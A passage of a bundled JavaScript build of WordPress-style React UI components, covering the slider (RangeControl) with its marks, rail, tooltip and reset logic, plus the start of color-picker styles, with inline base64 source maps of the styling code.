cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30845
30846 // packages/components/build-module/range-control/input-range.mjs
30847 var import_jsx_runtime125 = __toESM(require_jsx_runtime(), 1);
30848 function InputRange2(props, ref) {
30849 const {
30850 describedBy,
30851 label,
30852 value,
30853 ...otherProps
30854 } = props;
30855 return /* @__PURE__ */ (0, import_jsx_runtime125.jsx)(InputRange, {
30856 ...otherProps,
30857 "aria-describedby": describedBy,
30858 "aria-label": label,
30859 "aria-hidden": false,
30860 ref,
30861 tabIndex: 0,
30862 type: "range",
30863 value
30864 });
30865 }
30866 var ForwardedComponent2 = (0, import_element70.forwardRef)(InputRange2);
30867 var input_range_default = ForwardedComponent2;
30868
30869 // packages/components/build-module/range-control/rail.mjs
30870 var import_i18n12 = __toESM(require_i18n(), 1);
30871
30872 // packages/components/build-module/range-control/mark.mjs
30873 var import_jsx_runtime126 = __toESM(require_jsx_runtime(), 1);
30874 function RangeMark(props) {
30875 const {
30876 className: className2,
30877 isFilled = false,
30878 label,
30879 style: style2 = {},
30880 ...otherProps
30881 } = props;
30882 const classes = clsx_default("components-range-control__mark", isFilled && "is-filled", className2);
30883 const labelClasses = clsx_default("components-range-control__mark-label", isFilled && "is-filled");
30884 return /* @__PURE__ */ (0, import_jsx_runtime126.jsxs)(import_jsx_runtime126.Fragment, {
30885 children: [/* @__PURE__ */ (0, import_jsx_runtime126.jsx)(Mark, {
30886 ...otherProps,
30887 "aria-hidden": "true",
30888 className: classes,
30889 style: style2
30890 }), label && /* @__PURE__ */ (0, import_jsx_runtime126.jsx)(MarkLabel, {
30891 "aria-hidden": "true",
30892 className: labelClasses,
30893 isFilled,
30894 style: style2,
30895 children: label
30896 })]
30897 });
30898 }
30899
30900 // packages/components/build-module/range-control/rail.mjs
30901 var import_jsx_runtime127 = __toESM(require_jsx_runtime(), 1);
30902 var import_react103 = __toESM(require_react(), 1);
30903 function RangeRail(props) {
30904 const {
30905 disabled = false,
30906 marks = false,
30907 min: min3 = 0,
30908 max: max3 = 100,
30909 step = 1,
30910 value = 0,
30911 ...restProps
30912 } = props;
30913 return /* @__PURE__ */ (0, import_jsx_runtime127.jsxs)(import_jsx_runtime127.Fragment, {
30914 children: [/* @__PURE__ */ (0, import_jsx_runtime127.jsx)(Rail, {
30915 disabled,
30916 ...restProps
30917 }), marks && /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(Marks, {
30918 disabled,
30919 marks,
30920 min: min3,
30921 max: max3,
30922 step,
30923 value
30924 })]
30925 });
30926 }
30927 function Marks(props) {
30928 const {
30929 disabled = false,
30930 marks = false,
30931 min: min3 = 0,
30932 max: max3 = 100,
30933 step: stepProp = 1,
30934 value = 0
30935 } = props;
30936 const step = stepProp === "any" ? 1 : stepProp;
30937 const marksData = useMarks({
30938 marks,
30939 min: min3,
30940 max: max3,
30941 step,
30942 value
30943 });
30944 return /* @__PURE__ */ (0, import_jsx_runtime127.jsx)(MarksWrapper, {
30945 "aria-hidden": "true",
30946 className: "components-range-control__marks",
30947 children: marksData.map((mark) => /* @__PURE__ */ (0, import_react103.createElement)(RangeMark, {
30948 ...mark,
30949 key: mark.key,
30950 "aria-hidden": "true",
30951 disabled
30952 }))
30953 });
30954 }
30955 function useMarks({
30956 marks,
30957 min: min3 = 0,
30958 max: max3 = 100,
30959 step = 1,
30960 value = 0
30961 }) {
30962 if (!marks) {
30963 return [];
30964 }
30965 const range = max3 - min3;
30966 if (!Array.isArray(marks)) {
30967 marks = [];
30968 const count = 1 + Math.round(range / step);
30969 while (count > marks.push({
30970 value: step * marks.length + min3
30971 })) {
30972 }
30973 }
30974 const placedMarks = [];
30975 marks.forEach((mark, index2) => {
30976 if (mark.value < min3 || mark.value > max3) {
30977 return;
30978 }
30979 const key = `mark-${index2}`;
30980 const isFilled = mark.value <= value;
30981 const offset3 = `${(mark.value - min3) / range * 100}%`;
30982 const offsetStyle = {
30983 [(0, import_i18n12.isRTL)() ? "right" : "left"]: offset3
30984 };
30985 placedMarks.push({
30986 ...mark,
30987 isFilled,
30988 key,
30989 style: offsetStyle
30990 });
30991 });
30992 return placedMarks;
30993 }
30994
30995 // packages/components/build-module/range-control/tooltip.mjs
30996 var import_element71 = __toESM(require_element(), 1);
30997 var import_jsx_runtime128 = __toESM(require_jsx_runtime(), 1);
30998 function SimpleTooltip(props) {
30999 const {
31000 className: className2,
31001 inputRef,
31002 tooltipPlacement: tooltipPlacement2,
31003 show = false,
31004 style: style2 = {},
31005 value = 0,
31006 renderTooltipContent = (v3) => v3,
31007 zIndex = 100,
31008 ...restProps
31009 } = props;
31010 const placement = useTooltipPlacement({
31011 inputRef,
31012 tooltipPlacement: tooltipPlacement2
31013 });
31014 const classes = clsx_default("components-simple-tooltip", className2);
31015 const styles3 = {
31016 ...style2,
31017 zIndex
31018 };
31019 return /* @__PURE__ */ (0, import_jsx_runtime128.jsx)(Tooltip3, {
31020 ...restProps,
31021 "aria-hidden": "false",
31022 className: classes,
31023 placement,
31024 show,
31025 role: "tooltip",
31026 style: styles3,
31027 children: renderTooltipContent(value)
31028 });
31029 }
31030 function useTooltipPlacement({
31031 inputRef,
31032 tooltipPlacement: tooltipPlacement2
31033 }) {
31034 const [placement, setPlacement] = (0, import_element71.useState)();
31035 const setTooltipPlacement = (0, import_element71.useCallback)(() => {
31036 if (inputRef && inputRef.current) {
31037 setPlacement(tooltipPlacement2);
31038 }
31039 }, [tooltipPlacement2, inputRef]);
31040 (0, import_element71.useEffect)(() => {
31041 setTooltipPlacement();
31042 }, [setTooltipPlacement]);
31043 (0, import_element71.useEffect)(() => {
31044 window.addEventListener("resize", setTooltipPlacement);
31045 return () => {
31046 window.removeEventListener("resize", setTooltipPlacement);
31047 };
31048 });
31049 return placement;
31050 }
31051
31052 // packages/components/build-module/range-control/index.mjs
31053 var import_jsx_runtime129 = __toESM(require_jsx_runtime(), 1);
31054 var noop7 = () => {
31055 };
31056 function computeResetValue({
31057 resetFallbackValue,
31058 initialPosition
31059 }) {
31060 if (resetFallbackValue !== void 0) {
31061 return !Number.isNaN(resetFallbackValue) ? resetFallbackValue : null;
31062 }
31063 if (initialPosition !== void 0) {
31064 return !Number.isNaN(initialPosition) ? initialPosition : null;
31065 }
31066 return null;
31067 }
31068 function UnforwardedRangeControl(props, forwardedRef) {
31069 const {
31070 __nextHasNoMarginBottom: _2,
31071 // Prevent passing to internal component
31072 afterIcon,
31073 allowReset = false,
31074 beforeIcon,
31075 className: className2,
31076 color: colorProp = COLORS.theme.accent,
31077 currentInput,
31078 disabled = false,
31079 help,
31080 hideLabelFromVision = false,
31081 initialPosition,
31082 isShiftStepEnabled = true,
31083 label,
31084 marks = false,
31085 max: max3 = 100,
31086 min: min3 = 0,
31087 onBlur = noop7,
31088 onChange = noop7,
31089 onFocus = noop7,
31090 onMouseLeave = noop7,
31091 onMouseMove = noop7,
31092 railColor,
31093 renderTooltipContent = (v3) => v3,
31094 resetFallbackValue,
31095 __next40pxDefaultSize = false,
31096 shiftStep = 10,
31097 showTooltip: showTooltipProp,
31098 step = 1,
31099 trackColor,
31100 value: valueProp,
31101 withInputField = true,
31102 __shouldNotWarnDeprecated36pxSize,
31103 ...otherProps
31104 } = props;
31105 const [value, setValue] = useControlledRangeValue({
31106 min: min3,
31107 max: max3,
31108 value: valueProp ?? null,
31109 initial: initialPosition
31110 });
31111 const isResetPendent = (0, import_element72.useRef)(false);
31112 let hasTooltip = showTooltipProp;
31113 let hasInputField = withInputField;
31114 if (step === "any") {
31115 hasTooltip = false;
31116 hasInputField = false;
31117 }
31118 const [showTooltip, setShowTooltip] = (0, import_element72.useState)(hasTooltip);
31119 const [isFocused, setIsFocused] = (0, import_element72.useState)(false);
31120 const inputRef = (0, import_element72.useRef)(null);
31121 const isCurrentlyFocused = inputRef.current?.matches(":focus");
31122 const isThumbFocused = !disabled && isFocused;
31123 const isValueReset = value === null;
31124 const currentValue = value !== void 0 ? value : currentInput;
31125 const inputSliderValue = isValueReset ? "" : currentValue;
31126 const rangeFillValue = isValueReset ? (max3 - min3) / 2 + min3 : value;
31127 const fillValue = isValueReset ? 50 : (value - min3) / (max3 - min3) * 100;
31128 const fillValueOffset = `${clamp4(fillValue, 0, 100)}%`;
31129 const classes = clsx_default("components-range-control", className2);
31130 const wrapperClasses = clsx_default("components-range-control__wrapper", !!marks && "is-marked");
31131 const id3 = (0, import_compose29.useInstanceId)(UnforwardedRangeControl, "inspector-range-control");
31132 const describedBy = !!help ? `${id3}__help` : void 0;
31133 const enableTooltip = hasTooltip !== false && Number.isFinite(value);
31134 const handleOnRangeChange = (event) => {
31135 const nextValue = parseFloat(event.target.value);
31136 setValue(nextValue);
31137 onChange(nextValue);
31138 };
31139 const handleOnChange = (next2) => {
31140 let nextValue = parseFloat(next2);
31141 setValue(nextValue);
31142 if (!isNaN(nextValue)) {
31143 if (nextValue < min3 || nextValue > max3) {
31144 nextValue = floatClamp(nextValue, min3, max3);
31145 }
31146 onChange(nextValue);
31147 isResetPendent.current = false;
31148 } else if (allowReset) {
31149 isResetPendent.current = true;
31150 }
31151 };
31152 const handleOnInputNumberBlur = () => {
31153 if (isResetPendent.current) {
31154 handleOnReset();
31155 isResetPendent.current = false;
31156 }
31157 };
31158 const handleOnReset = () => {
31159 const resetValue = Number.isNaN(resetFallbackValue) ? null : resetFallbackValue ?? null;
31160 setValue(resetValue);
31161 onChange(resetValue ?? void 0);
31162 };
31163 const handleShowTooltip = () => setShowTooltip(true);
31164 const handleHideTooltip = () => setShowTooltip(false);
31165 const handleOnBlur = (event) => {
31166 onBlur(event);
31167 setIsFocused(false);
31168 handleHideTooltip();
31169 };
31170 const handleOnFocus = (event) => {
31171 onFocus(event);
31172 setIsFocused(true);
31173 handleShowTooltip();
31174 };
31175 const offsetStyle = {
31176 [(0, import_i18n13.isRTL)() ? "right" : "left"]: fillValueOffset
31177 };
31178 maybeWarnDeprecated36pxSize({
31179 componentName: "RangeControl",
31180 __next40pxDefaultSize,
31181 size: void 0,
31182 __shouldNotWarnDeprecated36pxSize
31183 });
31184 return /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(base_control_default, {
31185 className: classes,
31186 label,
31187 hideLabelFromVision,
31188 id: `${id3}`,
31189 help,
31190 children: /* @__PURE__ */ (0, import_jsx_runtime129.jsxs)(Root2, {
31191 className: "components-range-control__root",
31192 __next40pxDefaultSize,
31193 children: [beforeIcon && /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(BeforeIconWrapper, {
31194 children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(icon_default3, {
31195 icon: beforeIcon
31196 })
31197 }), /* @__PURE__ */ (0, import_jsx_runtime129.jsxs)(Wrapper2, {
31198 className: wrapperClasses,
31199 color: colorProp,
31200 marks: !!marks,
31201 children: [/* @__PURE__ */ (0, import_jsx_runtime129.jsx)(input_range_default, {
31202 ...otherProps,
31203 className: "components-range-control__slider",
31204 describedBy,
31205 disabled,
31206 id: `${id3}`,
31207 label,
31208 max: max3,
31209 min: min3,
31210 onBlur: handleOnBlur,
31211 onChange: handleOnRangeChange,
31212 onFocus: handleOnFocus,
31213 onMouseMove,
31214 onMouseLeave,
31215 ref: (0, import_compose29.useMergeRefs)([inputRef, forwardedRef]),
31216 step,
31217 value: inputSliderValue ?? void 0
31218 }), /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(RangeRail, {
31219 "aria-hidden": true,
31220 disabled,
31221 marks,
31222 max: max3,
31223 min: min3,
31224 railColor,
31225 step,
31226 value: rangeFillValue
31227 }), /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(Track, {
31228 "aria-hidden": true,
31229 className: "components-range-control__track",
31230 disabled,
31231 style: {
31232 width: fillValueOffset
31233 },
31234 trackColor
31235 }), /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(ThumbWrapper, {
31236 className: "components-range-control__thumb-wrapper",
31237 style: offsetStyle,
31238 disabled,
31239 children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(Thumb, {
31240 "aria-hidden": true,
31241 isFocused: isThumbFocused,
31242 disabled
31243 })
31244 }), enableTooltip && /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(SimpleTooltip, {
31245 className: "components-range-control__tooltip",
31246 inputRef,
31247 tooltipPlacement: "bottom",
31248 renderTooltipContent,
31249 show: isCurrentlyFocused || showTooltip,
31250 style: offsetStyle,
31251 value
31252 })]
31253 }), afterIcon && /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(AfterIconWrapper, {
31254 children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(icon_default3, {
31255 icon: afterIcon
31256 })
31257 }), hasInputField && /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(InputNumber, {
31258 "aria-label": label,
31259 className: "components-range-control__number",
31260 disabled,
31261 inputMode: "decimal",
31262 isShiftStepEnabled,
31263 max: max3,
31264 min: min3,
31265 onBlur: handleOnInputNumberBlur,
31266 onChange: handleOnChange,
31267 shiftStep,
31268 size: __next40pxDefaultSize ? "__unstable-large" : "default",
31269 __unstableInputWidth: __next40pxDefaultSize ? space(20) : space(16),
31270 step,
31271 value: inputSliderValue,
31272 __shouldNotWarnDeprecated36pxSize: true
31273 }), allowReset && /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(ActionRightWrapper, {
31274 children: /* @__PURE__ */ (0, import_jsx_runtime129.jsx)(button_default, {
31275 className: "components-range-control__reset",
31276 accessibleWhenDisabled: !disabled,
31277 disabled: disabled || value === computeResetValue({
31278 resetFallbackValue,
31279 initialPosition
31280 }),
31281 variant: "secondary",
31282 size: "small",
31283 onClick: handleOnReset,
31284 children: (0, import_i18n13.__)("Reset")
31285 })
31286 })]
31287 })
31288 });
31289 }
31290 var RangeControl = (0, import_element72.forwardRef)(UnforwardedRangeControl);
31291 RangeControl.displayName = "RangeControl";
31292 var range_control_default = RangeControl;
31293
31294 // packages/components/build-module/color-picker/styles.mjs
31295 var NumberControlWrapper = /* @__PURE__ */ createStyled(number_control_default, false ? {
31296 target: "ez9hsf46"
31297 } : {
31298 target: "ez9hsf46",
31299 label: "NumberControlWrapper"
31300 })("width:", space(24), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQjJEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IElubmVyU2VsZWN0Q29udHJvbCBmcm9tICcuLi9zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgSW5uZXJSYW5nZUNvbnRyb2wgZnJvbSAnLi4vcmFuZ2UtY29udHJvbCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgQ09ORklHIGZyb20gJy4uL3V0aWxzL2NvbmZpZy12YWx1ZXMnO1xuXG5leHBvcnQgY29uc3QgTnVtYmVyQ29udHJvbFdyYXBwZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAyNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VsZWN0Q29udHJvbCA9IHN0eWxlZCggSW5uZXJTZWxlY3RDb250cm9sIClgXG5cdG1hcmdpbi1sZWZ0OiAkeyBzcGFjZSggLTIgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhbmdlQ29udHJvbCA9IHN0eWxlZCggSW5uZXJSYW5nZUNvbnRyb2wgKWBcblx0ZmxleDogMTtcblx0bWFyZ2luLXJpZ2h0OiAkeyBzcGFjZSggMiApIH07XG5gO1xuXG4vLyBNYWtlIHRoZSBIdWUgY2lyY2xlIHBpY2tlciBub3QgZ28gb3V0IG9mIHRoZSBiYXIuXG5jb25zdCBpbnRlcmFjdGl2ZUh1ZVN0eWxlcyA9IGBcbi5yZWFjdC1jb2xvcmZ1bF9faW50ZXJhY3RpdmUge1xuXHR3aWR0aDogY2FsYyggMTAwJSAtICR7IHNwYWNlKCAyICkgfSApO1xuXHRtYXJnaW4tbGVmdDogJHsgc3BhY2UoIDEgKSB9O1xufWA7XG5cbmV4cG9ydCBjb25zdCBBdXhpbGlhcnlDb2xvckFydGVmYWN0V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctcmlnaHQ6IDA7XG5cdHBhZGRpbmctbGVmdDogMDtcblx0cGFkZGluZy1ib3R0b206IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgQXV4aWxpYXJ5Q29sb3JBcnRlZmFjdEhTdGFja0hlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdHBhZGRpbmctbGVmdDogJHsgc3BhY2UoIDQgKSB9O1xuXHRwYWRkaW5nLXJpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgQ29sb3JJbnB1dFdyYXBwZXIgPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZy10b3A6ICR7IHNwYWNlKCA0ICkgfTtcblx0cGFkZGluZy1sZWZ0OiAkeyBzcGFjZSggNCApIH07XG5cdHBhZGRpbmctcmlnaHQ6ICR7IHNwYWNlKCAzICkgfTtcblx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCA1ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDb2xvcmZ1bFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQkeyBib3hTaXppbmdSZ